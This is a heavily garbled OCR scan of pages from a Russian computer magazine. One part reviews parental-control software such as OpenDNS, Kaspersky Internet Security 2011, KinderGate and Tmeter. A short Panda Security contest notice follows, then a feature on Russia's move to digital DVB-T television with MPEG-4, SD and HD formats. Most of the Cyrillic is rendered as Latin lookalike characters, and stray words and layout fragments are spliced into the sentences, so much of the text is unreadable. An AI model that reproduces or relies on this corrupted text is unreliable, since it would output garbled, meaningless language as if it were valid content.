COeAMHeHMH | CBOMCTBa I ripOTOKOJl 
I/I HTepHeia BepcMM 4 TCP/IPv4 | 


y^odHO npe^cae Bcero TeM, hto c ero 
noMombio po^HTejiH nojiynaiOT hh- 
(jDopMaitHK) o flencTBHiix pedeHKa b 
peajibHOM BpeMeHH h Moryr dbiCTpo 
MeHHTb HacTpOHKH ypOBHH ^ocTyna, 
AodaBjiHTb b nepHbie cnncKH onpe- 
AejieHHbie caHTbi h t. n. Hto HHTepec- 
ho, Mepbi Moryr dbiTb He caMbiMH xap- 
AHHajibHbiMn: npn 3arpy3Ke Hexejia- 
TejibHoro caiiTa Ha KOHTpojiHpyeMOH 
ManiHHe dpay3ep npeaiio>KHT noKHHyTb 
CTpaHHijy hjih 3anpocHTb y pOAHTejieii 
pa3pemeHne Ha ee nocenjeHHe. TaKHM 
odpa30M, HaxoAncb b o(j)Hce, mojkho 
CnOKOHHO OTCJieXCHBaTb aKTHBHOCTb 
pedeHKa b Cem h OTKjiOHUTb 3anpocbi 
Ha odpameHne k pecypcaM, KOTOpbie 
KaxyTcn noao3p htcji b h bi m h . 

CneuMaiiM3npoBaHHbie 

npMjiOMeHiiB 

KpoMe Bcex onncaHHbix Mep kohtpo- 
jih cymecTByiOT cepbe3Hbie nporpaMM- 
Hbie npoayKTbi, cneHnajiH3HpyK)iiiHecH 


B Windows Live | 
B03M0M<eH yAaneH- 
HblM KOHTpOJlb ■ 


Ha pemeHHH KOHKpeTHbix aa^an h 
npe,AHa3HaHeHHbie ajm pocchhckhx 
nojib30BaTejieii. H3 nncjia TaKHx naxe- 
tob mojkho BbiAejiHTb Kaspersky In- 
ternet Security 2011 (www.kaspersky. 
ru) h KinderGate ot Entensys (www. 
usergate.ru/products/kindergate_ 
parental_control). B nepBOM cjiyuae 
3 a 1600 pydjieii (ctohmoctb to^oboh 
jiHijeH3HH Ha ABa I1K) bbi nojiyuHTe 


CBOMCTBa | l/1cno/ib30BaTb CBeAyfoiAMe 
aApeca DNS-cepBepoB». 
rioc/ie perMCTpaitMM m onBaibi hy>kho 
nepeMTM b pa3AeB «ParentaL ControL» 

Ha Caine OpenDNS. 3Aecb mo>kho bm6o 

Bbl6paTb OAMH M3 ypOBHeM 3aiAMTbl, 
jim6o caMOCTomeabHo HacipoMTb 6/10- 
KMpoBKy caMTOB onpeAe/ieHHbix Kaiero- 
pMM. Ha nepBbm B3rB5iA, bto AOBOBbHO 
npodoe m AeiueBoe peiueHMe, He Tpe- 
6yfoiAee yciaHOBKM ao n 0/1 h M ien bHbix 
nporpaMM. OAHaKO ctomt yHMTbiBaTb, 
hto cepBMc opMeHTMpoBaH Ha 3anaA- 
Hbix noBb30Baie/ieM, nosTOMy cJdmji bT- 
pauMii caiiTOB poccmmckoto cerMeHTa 
He BcerAa pa6oiaei KoppeKTHo. 
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KOMitJieKCHyio 3amHTy KOMm>K)Tepa, 
3JieMeHT0M KOTOpOH HBJIHeTCH CHCTeMa 
poaHTejibCKoro kohtpojih. Ctohmoctb 
K inderGate ropa3AO Hirace (490 py6- 
jieit b toa), o^HaKO h cneiinajnmiiHH 
npoayKTa 6ojiee y3Kaa: oh npe^Ha3Ha- 
ueH tojibko Aim HcnojiB30BaHHH b pac- 
CMaTpHBaeMbix HaMH hcjihx. 

CncTeMa po^HTejibCKoro kohtpojih 
KIS 2011 npe^JiaraeT nmpoKHe B03- 
MOvKHOCTH, BKJHOHaiOmHe b ce6n He 
TOJIBKO (J)HAbTpaHHK) CaHTOB, HO H 3a- 
npeT Ha 3anycK onpeAejieHHbix npor- 
paMM, b tom HHCJie no pacnncaHHio, 
nojiHbiH 3anpeT Ha paboTy c komhbio- 
TepOM, 3arpy3Ky cjiaHJiOB 3aaaHHbix th- 
noB h RaiKQ oGinemie c onpeAejieHHbi- 
MH KOHTaKTaMH, npHUeM He TOJIBKO 
b coiiHajibHbix cerax, ho h nonyjinp- 
HBIX IM-KJIHeHTaX. EjIOKHpOBKa CaHTOB 
padoTaeT no npHHijHny cjmjibTpaiiHH 
coaep>KHMoro: an m h h HCT paTopy Heo6- 
xoahmo jiHHib yKa3aTb, Kaioie KaTero- 
pHH Be6-pecypcoB aojdkhbi 0Ka3aTbC5i 
noa 3anpeTOM, h nporpaMMa caMa OTce- 
ue t Bee cooTBeTCTByiomHe CTpaHnubi. 

Hto KacaeTCH KinderGate, to 3Ta 
nporpaMMa npeaJiaraeT npaKTnuec- 
KH HaeHTHHHyiO (JiyHKAHOHaJIbHOCTb. 
HcKjnoneHHeM nBjineTcn pa3Be hto 
H eB03M0vKH0CTB KOHTpOJin 3a HC- 
nojib30BaHHeM KOMnbiOTepa h 3any- 
ckom npHjioxeHHH. 3aTO npaBHjia 
no3BOJHHOT 3aaaBaTb pacnncaHne pa- 
6 otbi b HHTepHeTe. 

OaHH H3 CaMBIX nOJie3HBIX HHCTpy- 
MeHTOB, HMeioianxcn b KinderGate 
Parental Control 1.1, — cjiyHKHHH mo- 


3aiMMTHbiM 6apbep 


HeipMBMaabHbm cnoco6 coopyAMTb 6a- 
pbep Me>KAy pe6eHK0M n 1/lmepHeTOM — 
ycTaHOBMTb Ha KOMnbiOTep npoKCM- 
cepBep, HacTpoMB 6pay3ep Ha pa6oTy 
C HUM (A/lfl JlOKaabHOM MaillMHbl AOCTa- 
tohho b napaMeTpax Be6-o6o3peBaTe- 
jiii yKa3aTb aApec 127.0.0.1 ). Mo>kho 
ncno/ib30BaTb, HanpMMep, 6ecn/iaTHyK) 
BepcMK) nporpaMMbi Tmetr (www. 
tmeter.ru). B 3tom cnynae Bbi nony- 
HMTe B03M0)KH0CTb OrpaHMHMBaTb 
CKOpOCTb TpacfDMKa, 6/lOKMpOBaTb URL 


KaK ue/iMKOM, TaK m no KnmeBbiM 
c/iOBaM m nonynaTb noApo6HeMUJne 
OTHeTbi o nepeMeiaeHMM noab30BaTe- 
nen no rao6aabHOM ceTM. OAHaKO 
noAo6Hoe peweHMe MMeeT m p^A 
HeAOCTaTKOB. Bo-nepBbix, npMACTCfl 
pa36MpaTbcn b AOBO/ibHO 3anyTaHHOM 
MHTepcfDeMce. Bo-BTopbix, nepHbie m 
6e/ibie cnMCKM Hy>KHO cocraBjiflTb 
CaMOCTOUTe^bHO. K TOMy >Ke OTK/lfOHMTb 
npoKCM-cepBep ropa3AO npome, new 
cneuMa/iM3MpoBaHHoe peweHMe. 
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Tmetr 

no3BO/ifleT 
KOHTpO/IMpOBaTb 
Tpacjo 1/1 K M BeCTl/l 
ero ynei 


HHTOpHHra COOdmeHHH B pa3JIHHHBIX 
ceTeBbix Meccenaxepax. nporpaMMa 
noAitepxHBaeT npOTOKOJibi ICQ, Jabber, 
MSN, Mail.ru h Yahoo! Messenger. 
KpOMe Toro, peineHne no3BOJiHeT cjie- 
Ahtb 3a nepenncKOH pebeHKa b coijh- 
mbi ibix ceTMx «BKoHTai<Te», «0/inoicaacc- 
HHKH.ru» h Facebook. npn npocMOT- 
pe HCTOpHH cooGuieHHH npejuiaraeTCH 
BbidpaTb nepHOA BpeMeHH h npOTOKOJi. 
nporpaMMa ocymecTBjuieT h mohh- 
TOpHHT aKTHBHOCTH nOJIB30BaTeJIH B 

HHTepHeTe. Tax, H3 ctathcthkh mojk- 
ho y3HaTb He tojibko o tom, Kaicne 
cahTbi nocemajincb 3a onpeAejieH- 
hbih nepHOA, ho h hx Te m aTH u ec Ky K) 


HanpaBjieHHOCTb (o6pa30BaTejibHbie , 
HOBOCTHBie, KOMnblOTepHbie HJIH pa3- 
BjieKaTejibHbie). B nncjie npouHx hobo- 
BBeAeHHH CHCTeMBI pOAHTeJIBCKOTO 
KOHTpOJin (JiHrypHpyeT h (JnuibTp koh- 
TeKCTHOH peKjiaMbi, AOCTynHbiii b Ha- 
CTpoiiKax Be6-cepc[)HHra. Y>xe 3aAaHO 
HeKOTOpoe KOJinnecTBO cneiiHajibHO 
OTodpaHHbix AeTCKux caiiTOB, 3arpy3Ka 
KOTOpbix pa3pemeHa no yMOJinaHHio, 
a Bee ocTajibHbie pecypcbi GjiOKHpyioT- 
c ii. PeryjinpHO oGHOBjineMan 6a3a CTpa- 
hhh; c coMHHTejibHbiM coAepxcaHHeM 
Ha ceroAHniHHHH achb HacnHTbiBaeT 
Gojiee 500 000 nyHKTOB. 

■ ■ ■ flaeen LUoiijmh 


MTOrM KOHKyPCA OT PANDA SECURITY 


Aopome Hi/iTaTeni/i! 

HacTan Top>KecTBeHHbM MOMeHT Harpa>KfleHiifi 
MHTaTenew, npuHnBLuux yHacTue b KOHKypce 
ot KowinaHMM Panda Security! 

nodeflUTenb m oSnaflaTe/ib maBHoro npn3a: 

CanrbiKOB AHApevi 

riooLUpMTenbHbie npn3bi nonyMnnn: 

3oToea HaTanbR, riapmuH Mbsh, 

BonpMHues llropb, Kobhh AneKceM 



rio3ApaBnsieM no6eflMTejieii! 

BnaroflapMM HMTaTenePi 3 a npoaeneHHyio aKTHBHOCTb m KOMnaHMto PANDA SECURITY 3 a npeflociaeneHHbie npE 43 bi 







n:n^ FIPAKTMKA TeneKaHajibi b «i4ncppe» 


IlHtDPOBOE TB: 


ceKpeibi MfleaiibHOM 

KapTMHKH 


CoBpeMeHHoe Te/ieBMfleHi/ie b Haweii CTpaHe pa3Bi/iBaeTca He TaK Sbicipo, KaK xoie/iocb 6bi, 
ho npouecc Bee we MfleT. Mbi paccKaweM, Hero w,qaTb b d/iMwaMiuee BpeMfl m b neivi cocto- 
HT OCHOBHbie OTJlI/IHMfl LJMCfDpOBOrO TB OT Tpafll/mMOHHOrO, CnyTHMKOBOrO I/I Kafie/lbHOrO. 



n/IAH nEPEXOflA 
HA UMOPOBOE 
BELU.AHHE 
B POCCMM 

PTPC HawiepeHa ao 
KOHL( a 2015 roAa 
oOecnenuTb pwiipo- 

BbiM Te/ieBMAeHneM 
BOO TeppidTOpHK) 
HaiueM dpaHbi. 


4>a3a 1 (2009-2010 roflbi): Oa3a 2 (2011-2012 roflbi): 

oxBaT 7,7% HaceiieHMB oxBaT 39,4% HacejieHMB 
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OGeyfln 3 Ty TeMy 
Ha www.ichip.ru 

Bbidpaa ccbi/iKa Ha $opyM (cm. cip. 6 ) - 



B h eme He 3HaeTe o niodajib- 
Hbix roiaHax npaBHTejibCTBa no 
BHeApeHHK) B PoCCHH 3(J)Hp- 
Horo ancjDpoBoro TejieBHae- 
hhh? H TeM 6ojiee He b Kypce, 
HyxcHO jih 6e>KaTb b Mara3HH 3a TejieBH- 
3opoM HOBoro CTaHaapTa? Mbi npHOT- 
KpoeM 3aBecy TanHbi Haa 3 toh mhoto- 
odeinaioineH TexHOJioraeH c naeajibHbiM 
xanecTBOM H3o6paaceHHH. Yxce cennac 
moxho CMejio yTBep>KaaTb: nepexoa Ha 

HOBbift CTaHaapT Benjamin Hen36e>KeH. 

B cbh3h c 3 thm BCTaeT Bonpoc o ijejie- 
coo6pa3HOCTH CMeHbi TejieBH30pa hjih 
TB-T iOHepa ann KOMnbiOTepa. B nonc- 
xax Heo6xoaHMoro o6opyaoBaHHH mbi 
CT ajiKHBaeMcn c npo6jieMOH: 3a hckjho- 
HeHHeM pa60THHK0B TeJieBH3HOHHOH 
OTpacjni He Tax MHoro cneijHajiHCTOB 
ceroaHH Moryr aoxoammo odbHCHHTb, 
HQM OTJIHHaiOTCH BapHaHTbl IJH(J)pOBOrO 
TB H KaKOH H3 HHX nOaOHaeT B Ka>KaOM 
KOHKpeTHOM cjiynae. Bojiee Toro, npo- 
aaBijbi b KpynHbix pHreiijiepCKHx cerax 
3anacTyK) pacnpocipamnoT yaHBHTejib- 
Hbie MH(J)bi c uejibK) npoaaTb aoporae 
mia3MeHHbie TejieBH30pbi. 


KaHanoB 6yAer H 
6 oiibiue, KanecTBO 
KapTMHKM — BblUie 


Mbi ynOpBaOHHM BCIO HHCjDOpMaiJHIO 
O HH(J)pOBOM TB, HT06bI BaC He CTpaiHH- 
jio odenjamioe npaBHTejibCTBOM otkjho- 
nemie aHajioroBoro Benjamin, KOTOpoe 
aojDKHO np0H30HTH b 2015 roay. 

MeflMaflaHHbie b «uii/ic}3pe» 

Cpa3y cjieayeT noncHHTb, hto b ije- 
jiom ijHcjjpoBoe TejieBHaeHHe — 3 to 
H e KaKOH-TO onpeaejieHHbm cjiopMaT 


hjih CTaHaapT, a codnpaTejibHoe no- 
HHTHe, onncbiBaiomee caM npmnjHn 
nepeaami KapTHHKH. Oho noapa 3 y- 
MeBaeT, hto Ha nyTH ot BenjaTejin 
k noTpeOHTejiio Ben HHcjiopMaijHn 
HMeeT ijhcIjpoboh bha. CaM no ce 6 e 
TepMHH «u;H(i)poBoe TejieBHaeHHe» He 
COaepJKHT HHKaKHX CBeaeHHH O npH- 
MeHiieMOM ajiropHTMe MoaynnijHH 
cnmajia hjih MeToanxe ero cncaTH n. 
IloaTOMy 3 anBjieHH 5 i npoaaBii;oB Tex- 
HHKH O TOM, HTO KaKOH-TO TeJieBH- 

3 op noaaepxHBaeT ijHcjjpoBoe TB, 
no cyTH, 6 ecnojie 3 Hbi, Beab b 3 toh 
$pa3e HeT hhkbkhx CBeaeHHH o koh- 
KpeTHbix bo 3 mo 3 choct 5 ix, npeaocTaB- 
JIHeMblX aaHHbIM yCTpOHCTBOM. U,HCt)- 
poBoe TejieBHaeHne moxcho cpaB- 
HHTb C IJHCjjpOBOH cjjOTorpaclDHeH: npo 
(jDOTOKaMepbl He TOBOpHT, HTO OHH 
noaaepxHBaiOT ijHcjDpoByio cbeMKy, — 
o 6 biHHO noKynaTejien nbiTaiOTcn yan- 
bhtb KaKHM-TO KOHKpeTHbiMH napa- 
MeTpaMH TexHHKH. Mbi nonpoGyeM 
caejiaTb to nc e caMoe, tojibko npHMe- 
HHTeJIbHO K TeJieBHaeHHIO. 

HeM ijHcjjpOBoe TB jiymne aHajioro- 
boto? TeM ace, ne m h jno 6 bie ijHcjDpo- 
Bbie MeanaaaHHbie, — noMexoycTOH- 
HHBOCTbK) H B 03 M 0 >KH 0 CTbK) CncaTHH. 
Hcnojib 30 BaHHe ijHcjjpoBbix CTaHaap- 
TOB n 03 B 0 JIHeT 3 HaHHTeJIbHO yBeJIH- 
hhtb hhcjio KaHajiOB, nepeaaBaeMbix 
b 3(J)Hpe (b aocTynHoft aJM TejieBHae- 
hhh nojioce nacTOT), h oaHOBpeMeHHO 
noBbiCHTb hx KanecTBo, Beab, KaK yace 
OTMenajiocb, ijhcIjpoboh CHraaji MeHee 
nyBCTBHTejieH k noMexaM, neM aHajio- 
TOBblH. OaHaKO TJiaBHOH npHHHHOH 
rpnaynjero nepexoaa Ha 3tot CTaHaapT 

HBJIHeTCH B03M0aCH0CTb yiUIOTHHTb Ka- 
Hajibi, pa3MecTHB b acjmpe 3HanHTejib- 
ho Gojibinee hx KOJinnecTBO no cpaBHe- 
hhk> c aHajioroBbiM BeiaaHHeM. 


CiaHAapTbi 
iUic|)poBoro TB 
A na Poccmm 

3a cneT pa3BMHHbix cfiopMaTOB «BHy- 
TpeHHeM KyxHM»y DVB cyiaecTByeT 
Macca pasHOBMflHocTeM, ho a nn nac 
MHTepec npeacTaBBUiOT TO/ibKO nepe- 
HMCJieHHbie HM)Ke B a p M a HTbl . 

DVB-S 

CiaHAapT cnyTHMKOBoro Te/ieBMAeHMa. 

DVB-C 

CiaHAapT pnc|3poBoro Ka6eabHoro BeiaaHMa. 

DVB-T 

OcfDMpHoe pi/KfcpoBoe Te/ieBi/iAGHi/ie. 

DVB-H 

Unc|3poBoe MoCmibHoe BemaHMe. 

He 6yaeM yrjiyGjiHTbca b HCTOpmo 
pa3pa6oTKH aH(J)poBoro TejieBHaeHHH, 
OaHaKO OTMeTHM, HTO Ha CerOaHJHH- 
hhh aeHb 3Ta TexHOJiorHa yace pa3BHTa 
HacTOJibKO, hto b MHpe cyiaecTByeT 
HecKOJibKO ycTOHBHiHxca moOajibHbix 
CTaHaapTOB. B AMepmce pacnpocTpa- 
HeH ATSC, pa3pa6aTbiBaeMbin rpyn- 
noH Advanced Television Systems Com- 
mittee, B HnOHHH aKTHBHO pa3BHBaeT- 

ca ISDB (Integrated Services Digital 
Broadcasting), a Hama CTpaHa nomjia 
no eBponencKOMy nym, npHHHB 3a 
ocHOBy CTaHaapT DVB (Digital Video 
Broadcasting). 

DVB: HeKcrropbie noflpo6HOCTM 
m peKOMeHflapnn 

Hto eme cjieayeT 3HaTb o ijh(J)pobom 
CT aHaapTe, KpOMe ero Ha3BaHna? DVB — 
3 to aajiexo He nojiHoe onncaHHe cjjop- 
Mara HHcJipoBoro TejieBHaeHHa. KaK b 
paMKax CTexa TCP/IP Moryr cymecTBO- 
BaTb caMbie pa3Hbie npoTOKOJibi (HTTP, 
SMTP n t. a.), Tax h DVB — oto jinmb 
o6maa KaHBa aan KOHKpeTHOH peajiH3a- 
u;hh TpaHCJiHHHH. K npHMepy, b paMKax 
3 toto CTaHaapTa Moryr Hcnojib30BaTbca 
pa3JIHHHbie CHCTeMbI KoanpOBaHHH 


4>a3a 3 (2012-2013 roAbi): 
oxBaT 94% HaceiieHMB 


“s*. 




Oa3a 4 (2013-2015 roAbi): 
oxBaT 100% HacejieHim 
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n:n^ FIPAKTMKA TeneKaHajibi b «i4nc(Dpe» 


Muc|)bl 0 UMC|)pOBOM 
Te^eBMfleHMM 

®r 1 /l flEAJlbHAfl KAPTI/IHKA 

rnaBHbm mmc)d KacaeTCfl KaneciBa M3o6pa- 
>KeHM5i: cnmaera, hto b c/iynae c unc^po- 
BbiM Te/ieBUfleHneM oho 6e3ynpeHH0. 

Ho 3TO COOTBeTCTByeT fleMCTBMTe/lbHOCTM 
JlMUJb npM HMCTOM 3((DMpe M CB060AH0 nO- 
CTynatomeM cnma/ie. Ecjim >Ke Ha ero nym 
ecTb nperpaflbi b bmag c(DM3MHecKMx npe- 

nilTCTBMM, nOCTOpOHHMX paAMOCMma/lOB 
M/1M aTMOCC(}epHblX 3^eKTpopa3p5IAOB, 
c KOTopbiMM He MoryT cnpaBMTbCfl Aa>Ke 
a/iropMTMbi unc|)poBoro TB, KapTMHKa Ha 
3KpaHe HaHHeT«paccbinaTbai». flaHHbm 
3C(}CtDeKT CerOAH51 3H3KOM y>Ke MHOrMM a6o- 
HeHTaM, npocMaipMBaKDiAMM aHa/ioroBoe 
Te/ieBMAeHMe ot Ka6e/ibHbix onepaiopoB. 
3 to CB5i3aHO c TeM, hto nocneAHMe no/iy- 
naKDT CMma/i nepe3 cnyTHMK (to ecTb b 
UM cjjpoBOM BMAe). 3aTeM oh nepeKOAMpy- 
era h paccbi/iaeTca no Ka6e/ibHOM ceTi/i b 
aHa/ioroBOM c|)opMaTe. M ec/iM Ha 3 tom 



ripndaBKa a/ih uncjDpoBoro 3c|3i/ipHoro TB 
AeKOAMpyeT pi/icppoBOM ci/irHa/i 1/1 nepeAaeT 
ero Ha Te/ieBH3op adOHeHTa 


3Tane no5iB/i5iK)TC5i cyiAecTBeHHbie noMexM, 
to Aawe a6oHeHTbi aHanoroBoro TB 6yAyT 
BMAeTb Ha CBOMX 3KpaHaX CBOMCTBeHHbie 
UMc()pe «KB3ApaTMKM». AHa/iomHHaa npo- 
6/ieMa ecTb, Hanpmviep, y cnyTHMKOBoro 
Te/ieBMAeHMfl, KorAa «Tape/iKa» HacTpoeHa 
HeTOHHO M/1M >Ke CMma/1 HeyCTOMHMB. 

«r BECnJIATHblE flPI/ICTABKI/l 

Btopom pacnpocTpaHeHHbm m<jp macMT, 
hto npaBMTe/ibCTBO npeAOCTaBMT BceM 
6ecn/iaTHbie npi/icraBKH n\k npneNia 
3c(DMpHoro Te/ieBMAeHMA. 3Ta \Af\en Aen- 
CTBMTe/ibHo o6cy>KAa/iacb, ho ao Kpn3nca. 
Cennac >Ke noAo6Hbie pa3roBopbi no/iHO- 
CTbKD npeKpaTMJlMCb, TaK HTO Ka>KAOMy 
a6oHeHTy npMAera caMoowre/ibHo 
o6ecneHMBaTb ce6e npkieM Ai/icjopoBoro TB. 
Ho TeM, kto y>Ke ceroAHfl cmotpmt Ka6e/ib- 
Hoe Te/ieBMAeHMe, He npMAera 6ecnoKO- 
MTbC5i — 3a hmx Bonpoc 3a6naroBpeMeHHo 
pewMT onepaTop. 

® flo nEPBoro MyjibTi/iruiEKCA 

llpaBMTe/ibCTBO noo6eiAa/io OTK/ifOHMTb 
aHa/ioroBoe BeiuaHMe b 2015 roAy. 

OAHaKO 3Toro He npon30MAeT, noKa 
95% >KMTe/ieM CTpaHbi He no/iynaT 
B03M0>KH0CTb npkieMa nepBoro 
My/ibTnn/ieKca pMc^poBbix KaHa/iOB. 


Biweo (MPEG-1, MPEG-2, MPEG-4 

H T. n.), npHHeM He BCe H3 HHX COBMeC- 
thmbi Apyr c ApyroM. CaMbie pacnpo- 
CTpaHeHHBie cjiopMaTBi cxaTHH — 
MPEG-2 h MPEG-4. Ecjih nocjieAHHft 
o6ecneHHBaeT jiynmyio KOMnpeccmo 
(no3BOJHieT «ynaKOBBiBaTB» 6ojn>mee 
hhcjio KaHajiOB b OAHy nojiocy nacTOT), 
to MPEG-2 — jiynmee xanecTBO xap- 
thhkh npH TaKOM xce pa3pemeHHH. 

PilAOBOMy n0JIB30BaTeJIK) AOCTaTOHHO 
3HaTB, HTO B HaiHeM 3(J)HpH0M AHCjipO- 
bom TB 6yAeT npHMeHHTbCH KOMnpec- 
chh MPEG-4. TejieBH30pbi, noAAep- 
vKHBaiomne 3 tot CTaHAapT, Moryr pa- 
6oTaTb h c MPEG-2 (ho He Hao6opOT). 
MPEG-2, b cbok) onepeAb, ncnojib- 
3yeTcn Ka6ejibHbiMH onepaTopaMH, He 
orpaHHHeHHbiMH b nojioce nacTOT. Kap- 
THHKa, OKaTaa a&hhbim koackom, 3Ha- 
HHTejibHO KanecTBeHHee. 

3(|)Mp mjim «TapejiKa»? 

HeKOTOpbie OTenecTBe h h bi e nojib30Ba- 
TejiH 3HaKOMbi c HH(J)poBbiM TB b ero 
CnyTHHKOBOH peaJIH3aAHH. npHHAHn 
pa6oTbi co cnyTHHKOBbiM BemaHHeM 
AObojibho npocT. Bbi noicynaeTe h ycTa- 
HaBjiHBaeTe KOMmieKT npneMHoro 060- 
pyAOBaHHH — «TapejiKy» h npHCTaB- 
Ky, o6ecneHHBaioiAyio TpaHCcjiopMa- 
u;hio npHHHToro HHc))pOBoro cnmajia 
b noHHTHbiH TejieBH30py aHajioroBbiH, 
a Taioxe xapiy AOCTyna k cnyTHHKO- 
bbim KaHajiaM. KjHoneBbiM 3jieMeHTOM 


B 3TOM Ha6ope HBJIHeTCH npHCTaBKa — 
ycTpoHCTBO, o6ecneHHBaioiAee «nepe- 
boa» cnmajia H3 DVB (caMbix pa3Hbix 

BHAOB) B (jlOpMaT, nOHHTHblH 6bITOBO- 
My TejieBH30py. IlpH 3tom npHCTaBKe 
a6cojiiOTHO Bee paBHO, OTKyaa 6epeTCn 
3tot cnmaji: BMecTO «TapejiKH» k Heft 
MoaceT 6biTb noACoeAHHeH HiHyp xa- 
6ejibHoro onepaTOpa hjih npHBbiHHaH 
aHTeHHa scJinpHoro Teji e b h Ae h h a . 

Ctoht Taioxe otmcthtb, hto npOMe- 
xyroHHoe o6opyAOBaHHe mokct h He 
noHaAo6HTbCH, Tax xax MHorne coBpe- 
MeHHbie TejieBH30pbi caMH noAAepxcH- 
BaiOT CTaHAapT DVB-T, hto, kslk npaBH- 
jio, yKa3biBaeTCH Ha hx Kopo6icax. Taxan 
MapKHpOBKa TOBOpHT O COBMeCTHMO- 
cth c KOMnpeccneft MPEG-4. 

Ho 3aMeHa TejieBH30pa 6ojiee coBpe- 
MeHHOft MOACJIbK) HBJIHeTCH BecbMa 3a- 
TpaTHbiM niaroM, a noKynxa npHCTaB- 
kh He BcerAa B03M0XHa. CymecTByeT h 
KOM npOMHCCHoe pemeHHe — npno6pe- 
TeHHe Tax Ha3biBaeMoro CAM-MOAyJin. 
Oh npeACTaBjineT co6oft CBoeo6pa3Hyio 
xapTy pacniHpeHHH, BCTaBjunomyiocH 
b TejieBH30p h HaAejiHK)myK) ero c)iyHK- 
AHOHajibHOCTbio npHCTaBKH. npaBAa, 
AJIH HCn0JIb30BaHHH A^HHOTO KOMnO- 
HeHTa TejieBH30p aojokch oGjiaAaTb 
CAM-HHTep4>eftcoM. Hen3BecTHO, 6y- 
Ayr jih CAM-MOAyra ninpoxo Aocryn- 
Hbl AJM 34>HpHOTO TeJieBHACHHH , a BOT 
Ka6ejibHbie onepaTOpbi aKTHBHO npH- 
MemiioT Taxoe o6opyAOBaHHe. 


/ CXEMA CMEUJAHHOrO BEU|AHM51 \ 

TEJ1EBM3M0HH0r0 CMrHAJIA 

KaKoe-To BpeMa BeiuaHMe 6yfleT BecTMCb b pmc(dpobom cfiopMaTe 
c napajuiejibHbiM fleKOAMpoBaHMeM b aHanoroBbm cMrHa/i. 



\ / 
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n:n^ FIPAKTMKA TeneKaHajibi b «i4nc(Dpe» 



HacipoMKa KaHanoB untppoBoro TeneBiifleHiia crmi/iHaeTCfl ot npi/iBbiHHoro noi/iCKa ci/irHana 
aHa/ioroBoro TB HamflflHOCTbK) 1/1 yaoSctbom 


CiaHflapTHasi 

M BbICOKaa HCTKOCTb 

Hh rjw Koro He ceKpeT, hto H 3odpa- 
aceHHe Ha 3KpaHe TejieBH30pa, nojiy- 
HeHHOe nOCpe^CTBOM 3(|)HpHOH TpaH- 
CJIHIJHH, OTJIHHaeTCH OT KapTHHKH c 

DVD. 3to CBH3aHO c TeM, hto oho 
odjianaeT ^pymM pa 3 pemeHHeM. 06bih- 
HBIH 3(J)HpHbIH CHTHaJI HMeeT «CTaH- 
flapTHyio neTKOCTB» (Standard Defi- 
nition, SD). Ho cymecTByeT h Bapn- 


HapoAHafl «am(|)- | 
pa» 6yfleT eeuiaTb- 
Ol B SD-KcMeCTBe I 


aHT HeMHoro yjiymneHHoro cnmajia — 
Tax Ha3BiBaeMoe «noBBinieHHoe pa3- 
pemeHHe». B TejieBH30pax, cnocod- 
HBIX npHHHMaTB TpaHCJHHJHH nO- 
cjieAHero THna, oho o6bihho odo3Ha- 
naeTcn xax 480p, 576p, 480i hjih 576i. 
L(n(})pa cooTBeTCTByeT nncjiy rancce- 
jieii no BBicoTe, a dyKBa tobopht o th- 
ne pa3BepTKH — nepeccTponHoii hjih 
nporpeccHBHOH. KojinnecTBO nHKcejieH 
no HIHpHHe 3aBHCHT OT COOTHOHie- 
HHH CTOpOH KapTHHKH, HTO OdyCJiaB- 
jiHBaeT cymecTBOBaHne eme HecKOJiB- 
KHX pa3HOBHAHOCTeH CHTHaJia nOBBI- 
HieHHOH neTKOCTH. 

TejieBHfleHHe bbicokoh hctkocth 
(High Definition TV, HDTV) — 3to 

cjieAyion^HH ypOBeHB KanecTBa npHHH- 
MaeMoro H3odpaxceHHn. CynjecTByeT 
flBa BapnaHTa HDTV — 1080i h 720p. 

nocjieaHHH noapa3yMeBaeT KapTHHKy 
c pa3pemeHHeM 1280x720 ToneK h 


nporpeccHBHOH pa3BepTKOH. OopMaT 
1080i — 3to H3o6pa>KeHHe pa3MepOM 
1920x1080 nHKcejien c nepeccTponHOH 
pa3BepTKOH. OopMaJIBHO KOJIHHeCTBO 
ToneK b H3o6paxceHHH 720p b a na pa3a 
MeHBine, neM npn 1080i, ho b nepBOM 
cjiynae 3a ojihh npoxoa (jiopMHpyeTcn 
n;ejiBiH xaap, a bo btopom — tojibko 
nojiOBHHa. 3 th CTanaapTbi moxcho 6bi- 
jio 6bi cpaBHHBaTB, ecjiH 6 bi npoxoabi 
OCymeCTBJMJIHCB C nOCTOHHHOH CKO- 
Poctbk), ho 3to He Tax. CneijHajiHC- 
tbi ckjiohhbi nojiaraTB, hto ^aHHBie 
(JiopMaTBi npocTO npeflHa3HaneHBi jijm 
pa3HBIX 32 Ljl 2 m. 1080i — 3TO MHHHMyM 

ABKKeHHH, ho MaKCHMyM aeTajien, a 
720p — HaodopOT. nooTOMy b aaHHOM 
cjiynae kojt h necTBe h h bi h noKa3aTejiB 
enje HHnero He tobopht o KanecTBe. 

Ho BepHeMcn k CTaHaapTHOH neTKO- 
cth. Tax KaK TejieBHfleHHe H3Hanajn>- 
HO pa3BHBaJIOCB KaK MyjIBTH(J)OpMaT- 
Han CHCTeMa, cynjecTByeT He Mem>- 
nie neTBipex BapnaHTOB SD. Ecjih 
B am TejieBH30p odjiaaaeT noaaepxc- 
koh DVB-T, npodjieM c cobmccth- 
moctbk) He B03HHKHeT. Hto KacaeT- 
ch dojiee coBepmeHHBix CTaHaapTOB, to 
K adejiBHBie h cnyraHKOBBie onepaTO- 
pBi, KaK npaBHjio, npejuraraiOT tot hjih 
hhoh BapnaHT H3o6paxeHHn yjiymneH- 
hoh neTKOCTH — odbiMHO Ha came hjih 
b peKjiaMHBix npocneicrax dbrnaeT npo- 
nncaH npHMemieMbiH cjiopMaT. 

Ecjih xce bbi njiaHHpyeTe noKynaTB 
TejieBH30p c pacneTOM Ha rpnaymyio 
3(J)HpHyio «u;H(j}py», to MonceTe aaxe 
He CMOTpeTB Ha odo3HaneHHn noa- 
AepxcHBaeMBix paapememoi: npnmi- 
tbih Ha ceroammiHHH aeHb odnje- 


poccHHCKHii CTaHaapT He noapa 3 y- 
MeBaeT Benjamin KaHajiOB yjiymneH- 
hoto KanecTBa. OaHaKO 3 th xapaKTe- 
pHCTHKH Bee nee cjieayeT ynHTbiBaTb, 
eCJIH BBI XOTHTe CMOTpeTB (|)HJIbMbI C 
DVD h Blu-ray-,zjHCKOB: aJin Bocnpo- 
H 3 BejJCHHH BHJjeO BBICOKOH HeTKOCTH 
onpeflejieHHoro (JiopMaTa o 6 a ycTpoh- 
